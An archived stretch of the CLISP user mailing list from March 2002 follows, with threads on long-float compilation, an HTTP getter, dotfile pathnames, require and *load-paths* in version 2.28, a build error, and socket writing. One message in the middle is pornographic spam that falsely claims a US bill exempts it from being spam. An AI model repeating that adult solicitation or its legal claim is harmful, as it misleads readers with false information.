clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 12 13:08:05 2002 X-Original-Date: 12 Mar 2002 16:03:17 -0500 > * In message > * On the subject of "RE: [clisp-list] long-float" > * Sent on Tue, 12 Mar 2002 10:10:00 -0600 > * Honorable "Rehm, Keith" writes: > > I just noticed it does that other behavior when I compile first. That is, > if: > > (setf (ext:long-float-digits) 3322) > (setf *x1* > 0.12345671234567123456712345671234567123456712345671234567123456712345671234 > 5671234567123456712345671234567L0) > > are in a file which is compiled and loaded, typing: > > (format t "~52,50F" *x1*) > > does not show full *x1*. I suggest that you have a look at your compiled FAS file, then wrap the (setf (ext:long-float-digits) 3322) form in (eval-when (compile load eval)) and recompile and then take another good look at your compiled FAS file. I hope someone else will provide a detailed explanation of why this behavior is correct. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Any programming language is at its best before it is implemented and used. From ampy@ich.dvo.ru Tue Mar 12 13:46:14 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ku5t-0001la-00 for ; Tue, 12 Mar 2002 13:46:06 -0800 Received: (qmail 1036 invoked from network); 12 Mar 2002 21:45:54 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 12 Mar 2002 21:45:54 -0000 Received: from 192.168.0.116 [192.168.0.116] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Wed, 13 Mar 2002 07:44:48 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <174891822.20020313074523@ich.dvo.ru> To: Karsten CC: clisp-list@lists.sourceforge.net In-reply-To: <5.1.0.14.0.20020312005700.009e5700@pop3.terra.es> References: <5.1.0.14.0.20020312005700.009e5700@pop3.terra.es> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Subject: [clisp-list] Re[2]: HTTP get test Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 12 13:47:02 2002 X-Original-Date: Wed, 13 Mar 2002 07:45:23 +1000 Hello Karsten, Tuesday, March 12, 2002, 9:59:53 AM, you wrote: Karsten> could you share the http-getter with us so that I can test the IPV6 mod on Karsten> Cygwin? That's it. I don't khow how "testful" is it in this case. IP address and HTTP address have to be splitted before use. I mean if you usually go http://www.zzz.com/index.html, you should use "www.zzz.com" as server and "/index.html" as address. "http://" goes to trash can. ======= (defun bk(n) (loop for i from 1 to n do (princ #\Backspace))) (defun http-get(server address &optional datasink) (let ((got 0)(getstream (socket-connect 80 server))) (if getstream (progn (format t "Connected to ~A. Lokin around" server) (format getstream "GET ~A~%" address) (loop with line = nil do (setf line (read-line getstream nil nil)) while line do (format (if datasink datasink t) "~A~%" line) (incf got (+ (length line) 1)) (when datasink (bk 12) (format t "~6,'0D bytes" got))) (format t "~%Got ~A : ~D bytes from ~A~%" address got getstream) (close getstream)) (format t "Cannot connect to ~A~%" server)))) (http-get "192.168.1.1" "/vp/index.html") ======= -- Best regards, Arseny mailto:ampy@ich.dvo.ru From kaz@footprints.net Tue Mar 12 14:04:01 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kuNF-0004eW-00 for ; Tue, 12 Mar 2002 14:04:01 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.34 #1) id 16kuN8-0008BW-00 for clisp-list@lists.sourceforge.net; Tue, 12 Mar 2002 14:03:54 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: <20020221174825.27629.qmail@web10401.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Path handling weirdness: names starting with dot. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 12 14:05:02 2002 X-Original-Date: Tue, 12 Mar 2002 14:03:54 -0800 (PST) (with-open-file (f ".cvsignore" :direction :output) ...) *** - no file name given: #P"/some/path/to/.cvsignore" -- Meta-CVS: version control with directory structure versioning over top of CVS. http://users.footprints.net/~kaz/mcvs.html From peter.wood@worldonline.dk Tue Mar 12 14:20:03 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kuck-0006vn-00 for ; Tue, 12 Mar 2002 14:20:02 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 1CA28B4D9 for ; Tue, 12 Mar 2002 23:19:58 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2CM6ht08774; Tue, 12 Mar 2002 23:06:43 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Path handling weirdness: names starting with dot. Message-ID: <20020312230643.A8744@localhost.localdomain> References: <20020221174825.27629.qmail@web10401.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from kaz@ashi.footprints.net on Tue, Mar 12, 2002 at 02:03:54PM -0800 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 12 14:21:01 2002 X-Original-Date: Tue, 12 Mar 2002 23:06:43 +0100 Hi On Tue, Mar 12, 2002 at 02:03:54PM -0800, Kaz Kylheku wrote: > (with-open-file (f ".cvsignore" :direction :output) ...) > > *** - no file name given: #P"/some/path/to/.cvsignore" > Clisp thinks the bit after the dot is the type, not the name. # [2]> (pathname-name #P".inputrc") nil [3]> (pathname-type #P".inputrc") "inputrc" [4]> (pathname-name (make-pathname :name ".inputrc")) ".inputrc" [5]> (dribble) :-( Regards, Peter From seniorr@aracnet.com Tue Mar 12 14:51:21 2002 Received: from bonneville.tdb.com ([216.99.214.10] helo=coulee.tdb.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kv72-000383-00 for ; Tue, 12 Mar 2002 14:51:21 -0800 Received: (qmail 17694 invoked by uid 1001); 12 Mar 2002 22:51:21 -0000 To: clisp-list@lists.sourceforge.net From: Russell Senior In-Reply-To: Message-ID: <86r8mpl7rq.fsf@coulee.tdb.com> Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] *load-paths* problem in 2.28 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 12 14:52:02 2002 X-Original-Date: 12 Mar 2002 14:51:21 -0800 I've got a lisp library in ~/lisp/foo.lisp. I have another file, bar.lisp which "requires" it: $ cat bar.lisp (require "foo") When I load bar: $ clisp -q -norc [1]> (lisp-implementation-version) "2.28 (released 2002-03-03) (built 3224363402) (memory 3224363613)" $ clisp -q -norc [1]> *load-paths* (#P"" "~/lisp/**/") [2]> (load "bar") ;; Loading file /home/russell/bar.lisp ... *** - A file with name foo does not exist 1. Break [3]> *load-paths* (#P"/home/russell/" . #P"/home/russell/bar.lisp") 1. Break [3]> [4]> *load-paths* (#P"" "~/lisp/**/") [5]> This used to work (i.e., foo was found with the require) in earlier versions of CLISP. -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From samuel.steingold@verizon.net Tue Mar 12 20:28:32 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16l0NL-0003cd-00 for ; Tue, 12 Mar 2002 20:28:31 -0800 Received: from gnu.org ([151.203.227.220]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020313042829.HGAS18010.out020.verizon.net@gnu.org>; Tue, 12 Mar 2002 22:28:29 -0600 To: Karsten Cc: clisp-list@lists.sourceforge.net, ampy@ich.dvo.ru Subject: Re: [clisp-list] Re: clisp-list digest, Vol 1 #413 - 4 msgs References: <5.1.0.14.0.20020312005700.009e5700@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20020312005700.009e5700@pop3.terra.es> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 12 20:29:03 2002 X-Original-Date: 12 Mar 2002 23:24:22 -0500 > * In message <5.1.0.14.0.20020312005700.009e5700@pop3.terra.es> > * On the subject of "[clisp-list] Re: clisp-list digest, Vol 1 #413 - 4 msgs" > * Sent on Tue, 12 Mar 2002 00:59:53 +0100 > * Honorable Karsten writes: > > could you share the http-getter with us so that I can test the IPV6 > mod on Cygwin? see CLOCC/PORT/net.lisp and CLOCC/CLLIB/url.lisp -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Sinners can repent, but stupid is forever. From webmaster@100percentsexhound.com Wed Mar 13 15:46:00 2002 Received: from [211.250.204.130] (helo=211.250.204.130) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lIRT-0001co-00 for ; Wed, 13 Mar 2002 15:45:59 -0800 From: 100% Sex Hound To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Message-Id: Subject: [clisp-list] !< NEW FREE PORN Newsletter >! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 13 15:46:08 2002 X-Original-Date: Wed, 13 Mar 2002 13:45:48 -1000 100 percent sex hound dot com


100PercentSexHound.com

Members Join Got Content? Be a Model Webmasters   Updates
 

A life decided to traveling the world, collecting, fucking and shooting content!

View a Sample of our New FREE Newsletter!
 

Members Join Got Content? Be a Model Webmasters   Updates


This newsletter is sent out every Wednesday with 9 FREE pictures.

Under Bill s. 1618 TITLE III passed by the 105th Congress this letter cannot be
 considered spam as long as the sender includes contact information
and removal instructions. This is a one-time e-mail transmission.
No removal is necessary.

To Subscribe email webmaster@100percentsexhound.com

Are You Concerned About Your Children Accessing This Site? We then strongly suggest:
CyberPatrol | CyberSitter | EFF | JDK | NetNanny | RSAC | Safe Surf | Surf Watch | WebTrack

www.100percentsexhound.com
First Amendment of FREE Speech; Our Rights, Our Freedom, God Damn Proud to be American!

From jdoolin@cs.ohiou.edu Wed Mar 13 15:59:09 2002 Received: from oak.cats.ohiou.edu ([132.235.8.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lIeB-0003fk-00 for ; Wed, 13 Mar 2002 15:59:07 -0800 Received: from dhcp-166-025.east-green.ohiou.edu (dhcp-166-025.east-green.ohiou.edu [132.235.166.25]) by oak.cats.ohiou.edu (8.12.0.Beta19/8.12.0.Beta19) with ESMTP id g2DNw7Nk062811 for ; Wed, 13 Mar 2002 18:58:07 -0500 (EST) From: Jeremy Doolin To: clisp-list@lists.sourceforge.net Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-NEa3PO9ohURWPjIqruf3" X-Mailer: Evolution/1.0.1 Message-Id: <1016063971.1271.59.camel@zeus> Mime-Version: 1.0 Subject: [clisp-list] writing to a socket Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 13 16:00:02 2002 X-Original-Date: 13 Mar 2002 18:59:30 -0500 --=-NEa3PO9ohURWPjIqruf3 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Hey, I'm trying to write the contents of a file to a socket with a series of formats. After I'm done writing, I would like to immediately close the socket (by the way, this is an HTTP server). However, if I close it, only one line will get written to the socket and the connection gets closed. If I don't close it, everything gets written to the socket, but a browser will just hang there waiting for the end of the file. =20 Here is what I'm doing (with some other stuff stripped out). (let ((msock (socket-server 9876))) (loop do (let* ((ssock (socket-accept msock)) (cc (read-line ssock))) ;some testing and stuff (let* ((od (open "file"))) (format ssock "Content-Length: ~D~%" (file-length od)) (format ssock "Content-Type: text/html~%~%") ; read file loop (close ssock)))) Here is the output through a telnet session: user@host >> telnet localhost 8383 Trying 127.0.0.1 Connected to localhost Escape character is '^]'. GET /index.html HTTP/1.0 Content-Length: 119Connection closed by foreign host. Now, don't worry if you see something wrong with how the HTTP part should be implemented, this is just a stub to see if I can get it to write a file to the socket. Can anyone set me straight here? Oh, also, in the server I wrote in C, I fork()ed and did all my socket writing in the child. I would like to be able to do *something* like that in mine. I know there isn't a fork, but is there multiprocessing of some kind? =20 Jeremy Doolin --=20 May all your disgraces be private --=-NEa3PO9ohURWPjIqruf3 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8j+fiB8Bt+2K9+/4RAuq6AJ9p236L5062l5K6j8AXW/hrKeSd6wCfZuyA 03VavgdiwC1NXvD0xEL9oK0= =/IjQ -----END PGP SIGNATURE----- --=-NEa3PO9ohURWPjIqruf3-- From davep@davep.org Thu Mar 14 04:58:22 2002 Received: from anchor-post-31.mail.demon.net ([194.217.242.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lUoI-0001Im-00 for ; Thu, 14 Mar 2002 04:58:22 -0800 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-31.mail.demon.net with esmtp (Exim 3.35 #1) id 16lUoF-0006BH-0V for clisp-list@lists.sourceforge.net; Thu, 14 Mar 2002 12:58:19 +0000 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id MAA16017 for clisp-list@lists.sourceforge.net; Thu, 14 Mar 2002 12:56:33 GMT From: Dave Pearson To: clisp-list@lists.sourceforge.net Message-ID: <20020314125633.L21294@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Pungenday, Day 73 of the season of Chaos, Anno Mung 3168 Subject: [clisp-list] Confused by `require', *load-paths* and clisp 2.28 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 04:59:02 2002 X-Original-Date: Thu, 14 Mar 2002 12:56:33 +0000 After upgrading clisp to 2.28 I seem to have run into some problems with many of my "scripting" uses of clisp. All of my problems seem to revolve around `require' and *load-paths* (and, most likely, an incorrect assumption of mine which 2.28 exposes). To give some background: I'm building and using all of this on RedHat GNU/Linux 6.2, working with clisp 2.28 as downloaded from a mirror of the GNU ftp site. config.lisp as the following line for setting the *load-paths*: ,----[ Excerpt from config.lisp in the clisp sources ] | (defparameter *load-paths* | '(#"./" ; in the current directory | "~/lib/lisp/**/") ; in all directories below $HOME/lib/lisp | "The list of directories where programs are searched on LOAD etc.") `---- IOW, more or less as clisp comes "out of the box" except that I prefer not to have the lisp directory directly in my home directory. With a "normal" invocation of clisp: ,---- | davep@hagbard:~$ clisp -q -norc | | [1]> *load-paths* | (#P"" "~/lib/lisp/**/") `---- Now, the first time I noticed a problem with `require' and *load-path* was when I first started up clisp with my ~/.clisprc.lsp. I have a `require' of a little library of mine in there: ,---- | (require :dp-lib) | (use-package :dp-lib) `---- but: ,---- | davep@hagbard:~$ type cl | cl is aliased to `clisp -K full -q -ansi' | davep@hagbard:~$ cl | ;; Loading file /home/davep/.clisprc.lsp ... | *** - A file with name dp-lib does not exist | 1. Break [2]> `---- dp-lib exists in ~/lib/lisp: ,---- | davep@hagbard:~$ ls lib/lisp/dp-lib.fas | lib/lisp/dp-lib.fas `---- If I change the `require' to a load everything works fine: ,---- | davep@hagbard:~$ cl | ;; Loading file /home/davep/.clisprc.lsp ... | ;; Loading file /home/davep/lib/lisp/dp-lib.fas ... | ;; Loading of file /home/davep/lib/lisp/dp-lib.fas is finished. | ;; Loading of file /home/davep/.clisprc.lsp is finished. | [1]> `---- Going back to the `require' version, the *load-path* seems to be correct prior to the `require': ,----[ Test code in ~/.clisprc.lsp ] | (format t "~%~S~%" *load-paths*) | (require :dp-lib) | (use-package :dp-lib) `---- ,---- | davep@hagbard:~$ cl | ;; Loading file /home/davep/.clisprc.lsp ... | (#P"" "~/lib/lisp/**/") | | *** - A file with name dp-lib does not exist | 1. Break [2]> `---- Up as far as 2.27 this was never a problem (and I've been using clisp on and off for a good couple or so years now). This same problem has knock on effects on many of the tools I've written using clisp because they `require' calls for loading various libraries no longer work. Could I have simply made a mistake in building clisp this time round? Has something changed between 2.27 and 2.28 which exposes an incorrect assumption on my part? Has something "broken" between 2.27 and 2.28? Thoughts, help and guidance would be appreciated. -- Dave Pearson: | lbdb.el - LBDB interface. http://www.davep.org/ | sawfish.el - Sawfish mode. Emacs: | uptimes.el - Record emacs uptimes. http://www.davep.org/emacs/ | quickurl.el - Recall lists of URLs. From amoroso@mclink.it Thu Mar 14 06:13:50 2002 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lVzH-0007ei-00 for ; Thu, 14 Mar 2002 06:13:47 -0800 Received: from net145-022.mclink.it (net145-022.mclink.it [195.110.145.22]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id g2EEDYx06793 for ; Thu, 14 Mar 2002 15:13:34 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] writing to a socket Organization: Paolo Amoroso - Milan, ITALY Message-ID: <2KuQPM76oIge5e2w3s4e9+4EkfU0@4ax.com> References: <1016063971.1271.59.camel@zeus> In-Reply-To: <1016063971.1271.59.camel@zeus> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 06:14:05 2002 X-Original-Date: Thu, 14 Mar 2002 15:13:45 +0100 On 13 Mar 2002 18:59:30 -0500, Jeremy Doolin wrote: > Oh, also, in the server I wrote in C, I fork()ed and did all my socket > writing in the child. I would like to be able to do *something* like > that in mine. I know there isn't a fork, but is there multiprocessing > of some kind? If you build CLISP with Unix bindings, you get access to LINUX:FORK. Sam recently posted here the following example: (defun mesg (&rest fmt-args) (format t "~&[~d] " (linux:getpid)) (apply #'format t fmt-args)) (defun test-wait2 () (let ((pid (linux:fork))) (cond ((= pid -1) (error "fork failed")) ((/= pid 0) (mesg "Started child ~d~%" pid) (multiple-value-bind (childpid status) (linux:wait) (mesg "Child ~d has finished~%" childpid) (if (zerop (logand status #x7f)) (mesg "with exit code=~a~%" (linux:WEXITSTATUS status)) (mesg "Child bombed ~d / ~d~%" (linux:WTERMSIG status) (linux:WEXITSTATUS status))))) (t (sleep 1) ; let dad go first (mesg "Hello, Pop (~d), I am ~d~%" (linux:getppid) (linux:getpid)) (linux:exit 37))))) (test-wait2) [17857] Started child 17858 [17858] Hello, Pop (17857), I am 17858 [17857] Child 17858 has finished [17857] with exit code=37 The Common Lisp Cookbook includes an example with CMU CL. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://www.paoloamoroso.it/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From dan.stanger@ieee.org Thu Mar 14 07:00:12 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lWiB-0001RU-00 for ; Thu, 14 Mar 2002 07:00:11 -0800 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 16lWi7-0000K4-00 for clisp-list@lists.sourceforge.net; Thu, 14 Mar 2002 08:00:07 -0700 Message-ID: <3C90BB2F.4921BD45@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Problem building latest cvs using cygwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 07:01:05 2002 X-Original-Date: Thu, 14 Mar 2002 08:01:03 -0700 After downloading the lastest cvs, and the following configure and makemake I get the following error when I build. Can anyone offer any sugestions on this? Thanks, Dan Stanger ./configure --with-readline clisp-build ./makemake --with-readline --with-gettext --with-dynamic-ffi >Makefile *** - READ from #: # has no external symbol with name "FOREIGN-FUNCTION"[error.d:304] cann ot handle the fatal error due to a fatal error in the fatal error handler! Signal 11 make: *** [interpreted.mem] Error 139 From samuel.steingold@verizon.net Thu Mar 14 07:24:28 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lX5f-0006bn-00 for ; Thu, 14 Mar 2002 07:24:27 -0800 Received: from gnu.org ([151.203.227.220]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020314152356.NXST23097.out005.verizon.net@gnu.org>; Thu, 14 Mar 2002 09:23:56 -0600 To: dan.stanger@ieee.org Cc: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] Problem building latest cvs using cygwin References: <3C90BB2F.4921BD45@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C90BB2F.4921BD45@ieee.org> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 07:25:29 2002 X-Original-Date: 14 Mar 2002 10:20:01 -0500 > * In message <3C90BB2F.4921BD45@ieee.org> > * On the subject of "[clisp-list] Problem building latest cvs using cygwin" > * Sent on Thu, 14 Mar 2002 08:01:03 -0700 > * Honorable Dan Stanger writes: > > After downloading the lastest cvs, and the following configure and > makemake I get the following error when I build. Can anyone offer any > sugestions on this? > > *** - READ from # @285>: # has no external symbol with name > "FOREIGN-FUNCTION"[error.d:304] cann > ot handle the fatal error due to a fatal error in the fatal error > handler! > Signal 11 > make: *** [interpreted.mem] Error 139 thanks for testing - just fixed this. (for the curious: see src/ChangeLog and `cvs log type.lisp`) [needless to repeat, but still - if you use a cvs CLISP - which you are encouraged if you are so brave - you should read clisp-devel and send complaints there, not here; if you were reading clisp-devel, you would have known more about the recent changes and might have even submitted a patch instead of a bug report.] -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! The difference between theory and practice is that in theory there isn't any. From samuel.steingold@verizon.net Thu Mar 14 07:40:19 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lXKz-0001rD-00 for ; Thu, 14 Mar 2002 07:40:17 -0800 Received: from gnu.org ([151.203.227.220]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020314154011.OGRI10148.out011.verizon.net@gnu.org>; Thu, 14 Mar 2002 09:40:11 -0600 To: Jeremy Doolin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] writing to a socket References: <1016063971.1271.59.camel@zeus> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1016063971.1271.59.camel@zeus> Message-ID: Lines: 113 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 07:41:05 2002 X-Original-Date: 14 Mar 2002 10:35:48 -0500 > * In message <1016063971.1271.59.camel@zeus> > * On the subject of "[clisp-list] writing to a socket" > * Sent on 13 Mar 2002 18:59:30 -0500 > * Honorable Jeremy Doolin writes: > > I'm trying to write the contents of a file to a socket with a series > of formats. After I'm done writing, I would like to immediately close > the socket (by the way, this is an HTTP server). However, if I close > it, only one line will get written to the socket and the connection > gets closed. If I don't close it, everything gets written to the > socket, but a browser will just hang there waiting for the end of the > file. > > Here is what I'm doing (with some other stuff stripped out). > > (let ((msock (socket-server 9876))) > (loop > do (let* ((ssock (socket-accept msock)) > (cc (read-line ssock))) > ;some testing and stuff > (let* ((od (open "file"))) > (format ssock "Content-Length: ~D~%" (file-length od)) > (format ssock "Content-Type: text/html~%~%") > ; read file loop > (close ssock)))) > > Here is the output through a telnet session: > > user@host >> telnet localhost 8383 > Trying 127.0.0.1 > Connected to localhost > Escape character is '^]'. > GET /index.html HTTP/1.0 > > Content-Length: 119Connection closed by foreign host. > > Now, don't worry if you see something wrong with how the HTTP part > should be implemented, this is just a stub to see if I can get it to > write a file to the socket. > > Can anyone set me straight here? this is very strange. I do not observe this: [1]> (setq s (socket-server 12345)) # [2]> (setq o (socket-accept s)) # [3]> (read-line o) "foo bar!" ; NIL [4]> (format o "zot~%") NIL [5]> (with-open-file (f "/proc/cpuinfo") (loop for l = (read-line f nil nil) while l do (write-line l o))) NIL [6]> (close o) T [7]> $ telnet localhost 12345 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. foo bar! zot processor : 0 vendor_id : GenuineIntel cpu family : 5 model : 8 model name : Mobile Pentium MMX stepping : 1 cpu MHz : 199.995 fdiv_bug : no hlt_bug : no f00f_bug : yes coma_bug : no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr mce cx8 mmx bogomips : 398.13 Connection closed by foreign host. $ maybe you could send us some actual code? Please do not send megabytes of intricate server implementations - strip it to a simple example as mine above. or, better yet, debug it yourself? :-) I assume you are using 2.28 (not that it should matter - these 